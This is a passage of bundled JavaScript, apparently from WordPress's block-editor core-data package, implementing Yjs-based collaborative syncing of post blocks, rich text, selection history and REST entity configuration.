13569 wpUserId: collaboratorState.collaboratorInfo.id
13570 }
13571 ]
13572 )
13573 );
13574 const serializableClientItems = {};
13575 ydoc.store.clients.forEach((structs, clientId) => {
13576 const items2 = structs.filter(this.isYItem);
13577 serializableClientItems[clientId] = items2.map((item) => {
13578 const { left, right, ...rest } = item;
13579 return {
13580 ...rest,
13581 left: left ? {
13582 id: left.id,
13583 length: left.length,
13584 origin: left.origin,
13585 content: left.content
13586 } : null,
13587 right: right ? {
13588 id: right.id,
13589 length: right.length,
13590 origin: right.origin,
13591 content: right.content
13592 } : null
13593 };
13594 });
13595 });
13596 return {
13597 doc: docData,
13598 clients: serializableClientItems,
13599 collaboratorMap: Object.fromEntries(collaboratorMapData)
13600 };
13601 }
13602 };
13603 function detectSelectionDirection(prevStart, prevEnd, newStart, newEnd) {
13604 const startMoved = !areBlockSelectionsEqual(prevStart, newStart);
13605 const endMoved = !areBlockSelectionsEqual(prevEnd, newEnd);
13606 if (startMoved && !endMoved) {
13607 return SelectionDirection.Backward;
13608 }
13609 return SelectionDirection.Forward;
13610 }
13611 function areBlockSelectionsEqual(a, b) {
13612 return a.clientId === b.clientId && a.attributeKey === b.attributeKey && a.offset === b.offset;
13613 }
13614
13615 // packages/core-data/build-module/utils/crdt.mjs
13616 var import_es65 = __toESM(require_es6(), 1);
13617 var import_blocks3 = __toESM(require_blocks(), 1);
13618
13619 // node_modules/uuid/dist/esm-browser/rng.js
13620 var getRandomValues2;
13621 var rnds8 = new Uint8Array(16);
13622 function rng() {
13623 if (!getRandomValues2) {
13624 getRandomValues2 = typeof crypto !== "undefined" && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
13625 if (!getRandomValues2) {
13626 throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");
13627 }
13628 }
13629 return getRandomValues2(rnds8);
13630 }
13631
13632 // node_modules/uuid/dist/esm-browser/stringify.js
13633 var byteToHex = [];
13634 for (let i = 0; i < 256; ++i) {
13635 byteToHex.push((i + 256).toString(16).slice(1));
13636 }
13637 function unsafeStringify(arr, offset = 0) {
13638 return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + "-" + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + "-" + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + "-" + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + "-" + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
13639 }
13640
13641 // node_modules/uuid/dist/esm-browser/native.js
13642 var randomUUID = typeof crypto !== "undefined" && crypto.randomUUID && crypto.randomUUID.bind(crypto);
13643 var native_default = {
13644 randomUUID
13645 };
13646
13647 // node_modules/uuid/dist/esm-browser/v4.js
13648 function v4(options, buf, offset) {
13649 if (native_default.randomUUID && !buf && !options) {
13650 return native_default.randomUUID();
13651 }
13652 options = options || {};
13653 const rnds = options.random || (options.rng || rng)();
13654 rnds[6] = rnds[6] & 15 | 64;
13655 rnds[8] = rnds[8] & 63 | 128;
13656 if (buf) {
13657 offset = offset || 0;
13658 for (let i = 0; i < 16; ++i) {
13659 buf[offset + i] = rnds[i];
13660 }
13661 return buf;
13662 }
13663 return unsafeStringify(rnds);
13664 }
13665 var v4_default = v4;
13666
13667 // packages/core-data/build-module/utils/crdt-blocks.mjs
13668 var import_es64 = __toESM(require_es6(), 1);
13669 var import_blocks = __toESM(require_blocks(), 1);
13670 var import_rich_text3 = __toESM(require_rich_text(), 1);
13671
13672 // packages/core-data/build-module/utils/crdt-text.mjs
13673 var import_rich_text2 = __toESM(require_rich_text(), 1);
13674 var RICH_TEXT_CACHE_MAX_SIZE = 500;
13675 function createRichTextDataCache(maxSize) {
13676 const cache3 = /* @__PURE__ */ new Map();
13677 return function(value) {
13678 const cached = cache3.get(value);
13679 if (cached) {
13680 return cached;
13681 }
13682 const result = import_rich_text2.RichTextData.fromHTMLString(value);
13683 if (cache3.size >= maxSize) {
13684 cache3.delete(cache3.keys().next().value);
13685 }
13686 cache3.set(value, result);
13687 return result;
13688 };
13689 }
13690 var getCachedRichTextData = createRichTextDataCache(
13691 RICH_TEXT_CACHE_MAX_SIZE
13692 );
13693
13694 // packages/core-data/build-module/utils/crdt-blocks.mjs
13695 var serializableBlocksCache = /* @__PURE__ */ new WeakMap();
13696 function serializeAttributeValue(value) {
13697 if (value instanceof import_rich_text3.RichTextData) {
13698 return value.valueOf();
13699 }
13700 if (Array.isArray(value)) {
13701 return value.map(serializeAttributeValue);
13702 }
13703 if (value && typeof value === "object") {
13704 const result = {};
13705 for (const [k, v] of Object.entries(value)) {
13706 result[k] = serializeAttributeValue(v);
13707 }
13708 return result;
13709 }
13710 return value;
13711 }
13712 function makeBlockAttributesSerializable(blockName, attributes) {
13713 const newAttributes = { ...attributes };
13714 for (const [key, value] of Object.entries(attributes)) {
13715 if (isLocalAttribute(blockName, key)) {
13716 delete newAttributes[key];
13717 continue;
13718 }
13719 newAttributes[key] = serializeAttributeValue(value);
13720 }
13721 return newAttributes;
13722 }
13723 function makeBlocksSerializable(blocks) {
13724 return blocks.map((block) => {
13725 const { name, innerBlocks, attributes, ...rest } = block;
13726 delete rest.validationIssues;
13727 return {
13728 ...rest,
13729 name,
13730 attributes: makeBlockAttributesSerializable(name, attributes),
13731 innerBlocks: makeBlocksSerializable(innerBlocks)
13732 };
13733 });
13734 }
13735 function deserializeAttributeValue(schema, value) {
13736 if (schema?.type === "rich-text" && typeof value === "string") {
13737 return getCachedRichTextData(value);
13738 }
13739 if (Array.isArray(value)) {
13740 return value.map(
13741 (item) => deserializeAttributeValue(schema, item)
13742 );
13743 }
13744 if (value && typeof value === "object") {
13745 const result = {};
13746 for (const [key, innerValue] of Object.entries(
13747 value
13748 )) {
13749 result[key] = deserializeAttributeValue(
13750 schema?.query?.[key],
13751 innerValue
13752 );
13753 }
13754 return result;
13755 }
13756 return value;
13757 }
13758 function deserializeBlockAttributes(blocks) {
13759 return blocks.map((block) => {
13760 const { name, innerBlocks, attributes, ...rest } = block;
13761 const newAttributes = { ...attributes };
13762 for (const [key, value] of Object.entries(attributes)) {
13763 const schema = getBlockAttributeType(name, key);
13764 if (schema) {
13765 newAttributes[key] = deserializeAttributeValue(
13766 schema,
13767 value
13768 );
13769 }
13770 }
13771 return {
13772 ...rest,
13773 name,
13774 attributes: newAttributes,
13775 innerBlocks: deserializeBlockAttributes(innerBlocks ?? [])
13776 };
13777 });
13778 }
13779 function areBlocksEqual(gblock, yblock) {
13780 const yblockAsJson = yblock.toJSON();
13781 const overwrites = {
13782 innerBlocks: null,
13783 clientId: null
13784 };
13785 const res = (0, import_es64.default)(
13786 Object.assign({}, gblock, overwrites),
13787 Object.assign({}, yblockAsJson, overwrites)
13788 );
13789 const inners = gblock.innerBlocks || [];
13790 const yinners = yblock.get("innerBlocks");
13791 return res && inners.length === yinners?.length && inners.every(
13792 (block, i) => areBlocksEqual(block, yinners.get(i))
13793 );
13794 }
13795 function createNewYAttributeMap(blockName, attributes) {
13796 return new yjs_exports.Map(
13797 Object.entries(attributes).map(
13798 ([attributeName, attributeValue]) => {
13799 return [
13800 attributeName,
13801 createNewYAttributeValue(
13802 blockName,
13803 attributeName,
13804 attributeValue
13805 )
13806 ];
13807 }
13808 )
13809 );
13810 }
13811 function createNewYAttributeValue(blockName, attributeName, attributeValue) {
13812 const isRichText = isRichTextAttribute(blockName, attributeName);
13813 if (isRichText) {
13814 return new yjs_exports.Text(attributeValue?.toString() ?? "");
13815 }
13816 return attributeValue;
13817 }
13818 function createNewYBlock(block) {
13819 return createYMap(
13820 Object.fromEntries(
13821 Object.entries(block).map(([key, value]) => {
13822 switch (key) {
13823 case "attributes": {
13824 return [
13825 key,
13826 createNewYAttributeMap(block.name, value)
13827 ];
13828 }
13829 case "innerBlocks": {
13830 const innerBlocks = new yjs_exports.Array();
13831 if (!Array.isArray(value)) {
13832 return [key, innerBlocks];
13833 }
13834 innerBlocks.insert(
13835 0,
13836 value.map(
13837 (innerBlock) => createNewYBlock(innerBlock)
13838 )
13839 );
13840 return [key, innerBlocks];
13841 }
13842 default:
13843 return [key, value];
13844 }
13845 })
13846 )
13847 );
13848 }
13849 function mergeCrdtBlocks(yblocks, incomingBlocks, cursorPosition) {
13850 if (!serializableBlocksCache.has(incomingBlocks)) {
13851 serializableBlocksCache.set(
13852 incomingBlocks,
13853 makeBlocksSerializable(incomingBlocks)
13854 );
13855 }
13856 const blocksToSync = serializableBlocksCache.get(incomingBlocks) ?? [];
13857 const numOfCommonEntries = Math.min(
13858 blocksToSync.length ?? 0,
13859 yblocks.length
13860 );
13861 let left = 0;
13862 let right = 0;
13863 for (; left < numOfCommonEntries && areBlocksEqual(blocksToSync[left], yblocks.get(left)); left++) {
13864 }
13865 for (; right < numOfCommonEntries - left && areBlocksEqual(
13866 blocksToSync[blocksToSync.length - right - 1],
13867 yblocks.get(yblocks.length - right - 1)
13868 ); right++) {
13869 }
13870 const numOfUpdatesNeeded = numOfCommonEntries - left - right;
13871 const numOfInsertionsNeeded = Math.max(
13872 0,
13873 blocksToSync.length - yblocks.length
13874 );
13875 const numOfDeletionsNeeded = Math.max(
13876 0,
13877 yblocks.length - blocksToSync.length
13878 );
13879 for (let i = 0; i < numOfUpdatesNeeded; i++, left++) {
13880 const block = blocksToSync[left];
13881 const yblock = yblocks.get(left);
13882 Object.entries(block).forEach(([key, value]) => {
13883 switch (key) {
13884 case "attributes": {
13885 const currentAttributes = yblock.get(key);
13886 if (!currentAttributes) {
13887 yblock.set(
13888 key,
13889 createNewYAttributeMap(block.name, value)
13890 );
13891 break;
13892 }
13893 Object.entries(value).forEach(
13894 ([attributeName, attributeValue]) => {
13895 const currentAttribute = currentAttributes?.get(attributeName);
13896 const isExpectedType = isExpectedAttributeType(
13897 block.name,
13898 attributeName,
13899 currentAttribute
13900 );
13901 const isAttributeChanged = !isExpectedType || !(0, import_es64.default)(
13902 currentAttribute,
13903 attributeValue
13904 );
13905 if (isAttributeChanged) {
13906 updateYBlockAttribute(
13907 block.name,
13908 attributeName,
13909 attributeValue,
13910 currentAttributes,
13911 cursorPosition
13912 );
13913 }
13914 }
13915 );
13916 currentAttributes.forEach(
13917 (_attrValue, attrName) => {
13918 if (!value.hasOwnProperty(attrName)) {
13919 currentAttributes.delete(attrName);
13920 }
13921 }
13922 );
13923 break;
13924 }
13925 case "innerBlocks": {
13926 let yInnerBlocks = yblock.get(key);
13927 if (!(yInnerBlocks instanceof yjs_exports.Array)) {
13928 yInnerBlocks = new yjs_exports.Array();
13929 yblock.set(key, yInnerBlocks);
13930 }
13931 mergeCrdtBlocks(
13932 yInnerBlocks,
13933 value ?? [],
13934 cursorPosition
13935 );
13936 break;
13937 }
13938 default:
13939 if (!(0, import_es64.default)(block[key], yblock.get(key))) {
13940 yblock.set(key, value);
13941 }
13942 }
13943 });
13944 yblock.forEach((_v, k) => {
13945 if (!block.hasOwnProperty(k)) {
13946 yblock.delete(k);
13947 }
13948 });
13949 }
13950 yblocks.delete(left, numOfDeletionsNeeded);
13951 for (let i = 0; i < numOfInsertionsNeeded; i++, left++) {
13952 const newBlock = [createNewYBlock(blocksToSync[left])];
13953 yblocks.insert(left, newBlock);
13954 }
13955 const knownClientIds = /* @__PURE__ */ new Set();
13956 for (let j = 0; j < yblocks.length; j++) {
13957 const yblock = yblocks.get(j);
13958 let clientId = yblock.get("clientId");
13959 if (!clientId) {
13960 continue;
13961 }
13962 if (knownClientIds.has(clientId)) {
13963 clientId = v4_default();
13964 yblock.set("clientId", clientId);
13965 }
13966 knownClientIds.add(clientId);
13967 }
13968 }
13969 function updateYBlockAttribute(blockName, attributeName, attributeValue, currentAttributes, cursorPosition) {
13970 const isRichText = isRichTextAttribute(blockName, attributeName);
13971 const currentAttribute = currentAttributes.get(attributeName);
13972 if (isRichText && "string" === typeof attributeValue && currentAttributes.has(attributeName) && currentAttribute instanceof yjs_exports.Text) {
13973 mergeRichTextUpdate(currentAttribute, attributeValue, cursorPosition);
13974 } else {
13975 currentAttributes.set(
13976 attributeName,
13977 createNewYAttributeValue(blockName, attributeName, attributeValue)
13978 );
13979 }
13980 }
13981 var cachedBlockAttributeTypes;
13982 function getBlockAttributeType(blockName, attributeName) {
13983 if (!cachedBlockAttributeTypes) {
13984 cachedBlockAttributeTypes = /* @__PURE__ */ new Map();
13985 for (const blockType of (0, import_blocks.getBlockTypes)()) {
13986 cachedBlockAttributeTypes.set(
13987 blockType.name,
13988 new Map(
13989 Object.entries(blockType.attributes ?? {}).map(
13990 ([name, definition]) => {
13991 const { role, type, query } = definition;
13992 return [name, { role, type, query }];
13993 }
13994 )
13995 )
13996 );
13997 }
13998 }
13999 return cachedBlockAttributeTypes.get(blockName)?.get(attributeName);
14000 }
14001 function isExpectedAttributeType(blockName, attributeName, attributeValue) {
14002 const expectedAttributeType = getBlockAttributeType(
14003 blockName,
14004 attributeName
14005 )?.type;
14006 if (expectedAttributeType === "rich-text") {
14007 return attributeValue instanceof yjs_exports.Text;
14008 }
14009 if (expectedAttributeType === "string") {
14010 return typeof attributeValue === "string";
14011 }
14012 return true;
14013 }
14014 function isLocalAttribute(blockName, attributeName) {
14015 return "local" === getBlockAttributeType(blockName, attributeName)?.role;
14016 }
14017 function isRichTextAttribute(blockName, attributeName) {
14018 return "rich-text" === getBlockAttributeType(blockName, attributeName)?.type;
14019 }
14020 var localDoc;
14021 function mergeRichTextUpdate(blockYText, updatedValue, cursorPosition = null) {
14022 if (!localDoc) {
14023 localDoc = new yjs_exports.Doc();
14024 }
14025 const localYText = localDoc.getText("temporary-text");
14026 localYText.delete(0, localYText.length);
14027 localYText.insert(0, updatedValue);
14028 const currentValueAsDelta = new Delta2(blockYText.toDelta());
14029 const updatedValueAsDelta = new Delta2(localYText.toDelta());
14030 const deltaDiff = currentValueAsDelta.diffWithCursor(
14031 updatedValueAsDelta,
14032 cursorPosition
14033 );
14034 blockYText.applyDelta(deltaDiff.ops);
14035 }
14036
14037 // packages/core-data/build-module/utils/crdt-selection.mjs
14038 var import_data6 = __toESM(require_data(), 1);
14039 var import_block_editor4 = __toESM(require_block_editor(), 1);
14040 var import_blocks2 = __toESM(require_blocks(), 1);
14041
14042 // packages/core-data/build-module/utils/block-selection-history.mjs
14043 var SELECTION_HISTORY_DEFAULT_SIZE = 5;
14044 var YSelectionType = /* @__PURE__ */ ((YSelectionType2) => {
14045 YSelectionType2["RelativeSelection"] = "RelativeSelection";
14046 YSelectionType2["BlockSelection"] = "BlockSelection";
14047 return YSelectionType2;
14048 })(YSelectionType || {});
14049 function createBlockSelectionHistory(ydoc, historySize = SELECTION_HISTORY_DEFAULT_SIZE) {
14050 let history = [];
14051 const getSelectionHistory2 = () => {
14052 return history.slice(0);
14053 };
14054 const updateSelection = (newSelection) => {
14055 if (!newSelection?.selectionStart?.clientId || !newSelection?.selectionEnd?.clientId) {
14056 return;
14057 }
14058 const { selectionStart, selectionEnd } = newSelection;
14059 const start = convertWPBlockSelectionToSelection(
14060 selectionStart,
14061 ydoc
14062 );
14063 const end = convertWPBlockSelectionToSelection(selectionEnd, ydoc);
14064 addToHistory({ start, end });
14065 };
14066 const addToHistory = (yFullSelection) => {
14067 const startClientId = yFullSelection.start.clientId;
14068 const endClientId = yFullSelection.end.clientId;
14069 history = history.filter((entry) => {
14070 const isSameBlockCombination = entry.start.clientId === startClientId && entry.end.clientId === endClientId;
14071 return !isSameBlockCombination;
14072 });
14073 history.unshift(yFullSelection);
14074 if (history.length > historySize + 1) {
14075 history = history.slice(0, historySize + 1);
14076 }
14077 };
14078 return {
14079 getSelectionHistory: getSelectionHistory2,
14080 updateSelection
14081 };
14082 }
14083 function convertWPBlockSelectionToSelection(selection, ydoc) {
14084 const clientId = selection.clientId;
14085 const block = findBlockByClientIdInDoc(clientId, ydoc);
14086 const attributes = block?.get("attributes");
14087 const attributeKey = selection.attributeKey;
14088 const changedYText = attributeKey ? attributes?.get(attributeKey) : void 0;
14089 const isYText = changedYText instanceof yjs_exports.Text;
14090 const isFullyDefinedSelection = attributeKey && clientId;
14091 if (!isYText || !isFullyDefinedSelection) {
14092 return {
14093 type: "BlockSelection",
14094 clientId
14095 };
14096 }
14097 const offset = selection.offset ?? 0;
14098 const relativePosition = yjs_exports.createRelativePositionFromTypeIndex(
14099 changedYText,
14100 richTextOffsetToHtmlIndex(changedYText.toString(), offset)
14101 );
14102 return {
14103 type: "RelativeSelection",
14104 attributeKey,
14105 relativePosition,
14106 clientId,
14107 offset
14108 };
14109 }
14110
14111 // packages/core-data/build-module/utils/crdt-selection.mjs
14112 var selectionHistoryMap = /* @__PURE__ */ new WeakMap();
14113 function getBlockSelectionHistory(ydoc) {
14114 let history = selectionHistoryMap.get(ydoc);
14115 if (!history) {
14116 history = createBlockSelectionHistory(ydoc);
14117 selectionHistoryMap.set(ydoc, history);
14118 }
14119 return history;
14120 }
14121 function getSelectionHistory(ydoc) {
14122 return getBlockSelectionHistory(ydoc).getSelectionHistory();
14123 }
14124 function updateSelectionHistory(ydoc, wpSelection) {
14125 return getBlockSelectionHistory(ydoc).updateSelection(wpSelection);
14126 }
14127 function convertYSelectionToBlockSelection(ySelection, ydoc) {
14128 if (ySelection.type === YSelectionType.RelativeSelection) {
14129 const { relativePosition, attributeKey, clientId } = ySelection;
14130 const absolutePosition = yjs_exports.createAbsolutePositionFromRelativePosition(
14131 relativePosition,
14132 ydoc
14133 );
14134 if (absolutePosition) {
14135 return {
14136 clientId,
14137 attributeKey,
14138 offset: htmlIndexToRichTextOffset(
14139 absolutePosition.type.toString(),
14140 absolutePosition.index
14141 )
14142 };
14143 }
14144 } else if (ySelection.type === YSelectionType.BlockSelection) {
14145 return {
14146 clientId: ySelection.clientId,
14147 attributeKey: void 0,
14148 offset: void 0
14149 };
14150 }
14151 return null;
14152 }
14153 function convertYFullSelectionToWPSelection(yFullSelection, ydoc) {
14154 const { start, end } = yFullSelection;
14155 const startBlock = findBlockByClientIdInDoc(start.clientId, ydoc);
14156 const endBlock = findBlockByClientIdInDoc(end.clientId, ydoc);
14157 if (!startBlock || !endBlock) {
14158 return null;
14159 }
14160 const startBlockSelection = convertYSelectionToBlockSelection(
14161 start,
14162 ydoc
14163 );
14164 const endBlockSelection = convertYSelectionToBlockSelection(end, ydoc);
14165 if (startBlockSelection === null || endBlockSelection === null) {
14166 return null;
14167 }
14168 return {
14169 selectionStart: startBlockSelection,
14170 selectionEnd: endBlockSelection
14171 };
14172 }
14173 function findSelectionFromHistory(ydoc, selectionHistory) {
14174 for (const positionToTry of selectionHistory) {
14175 const result = convertYFullSelectionToWPSelection(
14176 positionToTry,
14177 ydoc
14178 );
14179 if (result !== null) {
14180 return result;
14181 }
14182 }
14183 return null;
14184 }
14185 function restoreSelection(selectionHistory, ydoc) {
14186 const selectionToRestore = findSelectionFromHistory(
14187 ydoc,
14188 selectionHistory
14189 );
14190 if (selectionToRestore === null) {
14191 return;
14192 }
14193 const { getBlock } = (0, import_data6.select)(import_block_editor4.store);
14194 const { resetSelection } = (0, import_data6.dispatch)(import_block_editor4.store);
14195 const { selectionStart, selectionEnd } = selectionToRestore;
14196 const isSelectionInSameBlock = selectionStart.clientId === selectionEnd.clientId;
14197 if (isSelectionInSameBlock) {
14198 const block = getBlock(selectionStart.clientId);
14199 const isBlockEmpty = block && (0, import_blocks2.isUnmodifiedBlock)(block);
14200 const isBeginningOfEmptyBlock = 0 === selectionStart.offset && 0 === selectionEnd.offset && isBlockEmpty && !selectionStart.attributeKey && !selectionEnd.attributeKey;
14201 if (isBeginningOfEmptyBlock) {
14202 const selectionStartWithoutOffset = {
14203 clientId: selectionStart.clientId
14204 };
14205 const selectionEndWithoutOffset = {
14206 clientId: selectionEnd.clientId
14207 };
14208 resetSelection(
14209 selectionStartWithoutOffset,
14210 selectionEndWithoutOffset,
14211 0
14212 );
14213 } else {
14214 resetSelection(selectionStart, selectionEnd, 0);
14215 }
14216 } else {
14217 resetSelection(selectionEnd, selectionEnd, 0);
14218 }
14219 }
14220 function getShiftedSelection(ydoc, selectionHistory) {
14221 if (selectionHistory.length === 0) {
14222 return null;
14223 }
14224 const { start, end } = selectionHistory[0];
14225 if (start.type === YSelectionType.BlockSelection || end.type === YSelectionType.BlockSelection) {
14226 return null;
14227 }
14228 const selectionStart = convertYSelectionToBlockSelection(start, ydoc);
14229 const selectionEnd = convertYSelectionToBlockSelection(end, ydoc);
14230 if (!selectionStart || !selectionEnd) {
14231 return null;
14232 }
14233 const startShifted = selectionStart.offset !== start.offset;
14234 const endShifted = selectionEnd.offset !== end.offset;
14235 if (!startShifted && !endShifted) {
14236 return null;
14237 }
14238 return { selectionStart, selectionEnd };
14239 }
14240
14241 // packages/core-data/build-module/utils/crdt.mjs
14242 var POST_META_KEY_FOR_CRDT_DOC_PERSISTENCE = "_crdt_document";
14243 var disallowedPostMetaKeys = /* @__PURE__ */ new Set([
14244 POST_META_KEY_FOR_CRDT_DOC_PERSISTENCE
14245 ]);
14246 function defaultApplyChangesToCRDTDoc(ydoc, changes) {
14247 const ymap = getRootMap(ydoc, CRDT_RECORD_MAP_KEY2);
14248 Object.entries(changes).forEach(([key, newValue]) => {
14249 if ("function" === typeof newValue) {
14250 return;
14251 }
14252 switch (key) {
14253 // Add support for additional data types here.
14254 default: {
14255 const currentValue = ymap.get(key);
14256 updateMapValue(ymap, key, currentValue, newValue);
14257 }
14258 }
14259 });
14260 }
14261 function applyPostChangesToCRDTDoc(ydoc, changes, syncedProperties) {
14262 const ymap = getRootMap(ydoc, CRDT_RECORD_MAP_KEY2);
14263 Object.keys(changes).forEach((key) => {
14264 if (!syncedProperties.has(key)) {
14265 return;
14266 }
14267 const newValue = changes[key];
14268 if ("function" === typeof newValue) {
14269 return;
14270 }
14271 switch (key) {
14272 case "blocks": {
14273 if (!newValue) {
14274 ymap.set(key, void 0);
14275 break;
14276 }
14277 let currentBlocks = ymap.get(key);
14278 if (!(currentBlocks instanceof yjs_exports.Array)) {
14279 currentBlocks = new yjs_exports.Array();
14280 ymap.set(key, currentBlocks);
14281 }
14282 const cursorPosition = changes.selection?.selectionStart?.offset ?? null;
14283 mergeCrdtBlocks(currentBlocks, newValue, cursorPosition);
14284 break;
14285 }
14286 case "content":
14287 case "excerpt":
14288 case "title": {
14289 const currentValue = ymap.get(key);
14290 let rawValue = getRawValue(newValue);
14291 if (key === "title" && !currentValue?.toString() && "Auto Draft" === rawValue) {
14292 rawValue = "";
14293 }
14294 if (currentValue instanceof yjs_exports.Text) {
14295 mergeRichTextUpdate(currentValue, rawValue ?? "");
14296 } else {
14297 const newYText = new yjs_exports.Text(rawValue ?? "");
14298 ymap.set(key, newYText);
14299 }
14300 break;
14301 }
14302 // "Meta" is overloaded term; here, it refers to post meta.
14303 case "meta": {
14304 let metaMap = ymap.get("meta");
14305 if (!isYMap(metaMap)) {
14306 metaMap = createYMap();
14307 ymap.set("meta", metaMap);
14308 }
14309 Object.entries(newValue ?? {}).forEach(
14310 ([metaKey, metaValue]) => {
14311 if (disallowedPostMetaKeys.has(metaKey)) {
14312 return;
14313 }
14314 updateMapValue(
14315 metaMap,
14316 metaKey,
14317 metaMap.get(metaKey),
14318 // current value in CRDT
14319 metaValue
14320 // new value from changes
14321 );
14322 }
14323 );
14324 break;
14325 }
14326 case "slug": {
14327 if (!newValue) {
14328 break;
14329 }
14330 const currentValue = ymap.get(key);
14331 updateMapValue(ymap, key, currentValue, newValue);
14332 break;
14333 }
14334 // Add support for additional properties here.
14335 default: {
14336 const currentValue = ymap.get(key);
14337 updateMapValue(ymap, key, currentValue, newValue);
14338 }
14339 }
14340 });
14341 if (changes.selection) {
14342 const selection = changes.selection;
14343 setTimeout(() => {
14344 updateSelectionHistory(ydoc, selection);
14345 }, 0);
14346 }
14347 }
14348 function defaultGetChangesFromCRDTDoc(crdtDoc) {
14349 return getRootMap(crdtDoc, CRDT_RECORD_MAP_KEY2).toJSON();
14350 }
14351 function getPostChangesFromCRDTDoc(ydoc, editedRecord, syncedProperties) {
14352 const ymap = getRootMap(ydoc, CRDT_RECORD_MAP_KEY2);
14353 let allowedMetaChanges = {};
14354 const changes = Object.fromEntries(
14355 Object.entries(ymap.toJSON()).filter(([key, newValue]) => {
14356 if (!syncedProperties.has(key)) {
14357 return false;
14358 }
14359 const currentValue = editedRecord[key];
14360 switch (key) {
14361 case "blocks": {
14362 if (ydoc.meta?.get(CRDT_DOC_META_PERSISTENCE_KEY2) && editedRecord.content) {
14363 const blocksJson = ymap.get("blocks")?.toJSON() ?? [];
14364 return (0, import_blocks3.__unstableSerializeAndClean)(blocksJson).trim() !== getRawValue(editedRecord.content);
14365 }
14366 return true;
14367 }
14368 case "date": {
14369 const currentDateIsFloating = null === currentValue || editedRecord.modified === currentValue;
14370 if (currentDateIsFloating) {
14371 return false;
14372 }
14373 return haveValuesChanged(currentValue, newValue);
14374 }
14375 case "meta": {
14376 const currentMeta = currentValue ?? {};
14377 allowedMetaChanges = Object.fromEntries(
14378 Object.entries(newValue ?? {}).filter(
14379 ([metaKey]) => {
14380 if (disallowedPostMetaKeys.has(metaKey)) {
14381 return false;
14382 }
14383 return metaKey in currentMeta;
14384 }
14385 )
14386 );
14387 const mergedValue = {
14388 ...currentMeta,
14389 ...allowedMetaChanges
14390 };
14391 return haveValuesChanged(currentValue, mergedValue);
14392 }
14393 case "status": {
14394 if ("auto-draft" === newValue) {
14395 return false;
14396 }
14397 return haveValuesChanged(currentValue, newValue);
14398 }
14399 case "content":
14400 case "excerpt":
14401 case "title": {
14402 return haveValuesChanged(
14403 getRawValue(currentValue),
14404 newValue
14405 );
14406 }
14407 // Add support for additional data types here.
14408 default: {
14409 return haveValuesChanged(currentValue, newValue);
14410 }
14411 }
14412 })
14413 );
14414 if (changes.blocks) {
14415 changes.blocks = deserializeBlockAttributes(
14416 changes.blocks
14417 );
14418 }
14419 if ("object" === typeof changes.meta) {
14420 changes.meta = {
14421 ...editedRecord.meta,
14422 ...allowedMetaChanges
14423 };
14424 }
14425 const selectionHistory = getSelectionHistory(ydoc);
14426 const shiftedSelection = getShiftedSelection(ydoc, selectionHistory);
14427 if (shiftedSelection) {
14428 changes.selection = {
14429 ...shiftedSelection,
14430 initialPosition: 0
14431 };
14432 }
14433 return changes;
14434 }
14435 var defaultSyncConfig = {
14436 applyChangesToCRDTDoc: defaultApplyChangesToCRDTDoc,
14437 createAwareness: (ydoc) => new BaseAwareness(ydoc),
14438 getChangesFromCRDTDoc: defaultGetChangesFromCRDTDoc
14439 };
14440 var defaultCollectionSyncConfig = {
14441 applyChangesToCRDTDoc: () => {
14442 },
14443 getChangesFromCRDTDoc: () => ({}),
14444 shouldSync: (_, objectId) => null === objectId
14445 };
14446 function getRawValue(value) {
14447 if ("string" === typeof value) {
14448 return value;
14449 }
14450 if (value && "object" === typeof value && "raw" in value && "string" === typeof value.raw) {
14451 return value.raw;
14452 }
14453 return void 0;
14454 }
14455 function haveValuesChanged(currentValue, newValue) {
14456 return !(0, import_es65.default)(currentValue, newValue);
14457 }
14458 function updateMapValue(map2, key, currentValue, newValue) {
14459 if (void 0 === newValue) {
14460 map2.delete(key);
14461 return;
14462 }
14463 if (haveValuesChanged(currentValue, newValue)) {
14464 map2.set(key, newValue);
14465 }
14466 }
14467
14468 // packages/core-data/build-module/entities.mjs
14469 var DEFAULT_ENTITY_KEY = "id";
14470 var POST_RAW_ATTRIBUTES = ["title", "excerpt", "content"];
14471 var blocksTransientEdits = {
14472 blocks: {
14473 read: (record) => (0, import_blocks4.parse)(record.content?.raw ?? ""),
14474 write: (record) => ({
14475 content: (0, import_blocks4.__unstableSerializeAndClean)(record.blocks)
14476 })
14477 }
14478 };
14479 var rootEntitiesConfig = [
14480 {
14481 label: (0, import_i18n.__)("Base"),
14482 kind: "root",
14483 key: false,
14484 name: "__unstableBase",
14485 baseURL: "/",
14486 baseURLParams: {
14487 // Please also change the preload path when changing this.
14488 // @see lib/compat/wordpress-7.0/preload.php
14489 _fields: [
14490 "description",
14491 "gmt_offset",
14492 "home",
14493 "image_sizes",
14494 "image_size_threshold",
14495 "image_output_formats",
14496 "jpeg_interlaced",
14497 "png_interlaced",
14498 "gif_interlaced",
14499 "name",
14500 "site_icon",
14501 "site_icon_url",
14502 "site_logo",
14503 "timezone_string",
14504 "url",
14505 "page_for_posts",
14506 "page_on_front",
14507 "show_on_front"
14508 ].join(",")
14509 },
14510 // The entity doesn't support selecting multiple records.
14511 // The property is maintained for backward compatibility.
14512 plural: "__unstableBases"
14513 },
14514 {
14515 label: (0, import_i18n.__)("Post Type"),
14516 name: "postType",
14517 kind: "root",
14518 key: "slug",
14519 baseURL: "/wp/v2/types",
14520 baseURLParams: { context: "edit" },
14521 plural: "postTypes"
14522 },
14523 {
14524 name: "media",
14525 kind: "root",
14526 baseURL: "/wp/v2/media",
14527 baseURLParams: { context: "edit" },
14528 plural: "mediaItems",
14529 label: (0, import_i18n.__)("Media"),
14530 rawAttributes: ["caption", "title", "description"],
14531 supportsPagination: true
14532 },
14533 {
14534 name: "taxonomy",
14535 kind: "root",
14536 key: "slug",
14537 baseURL: "/wp/v2/taxonomies",
14538 baseURLParams: { context: "edit" },
14539 plural: "taxonomies",
14540 label: (0, import_i18n.__)("Taxonomy")
14541 },
14542 {
14543 name: "sidebar",
14544 kind: "root",
14545 baseURL: "/wp/v2/sidebars",
14546 baseURLParams: { context: "edit" },
14547 plural: "sidebars",
14548 transientEdits: { blocks: true },
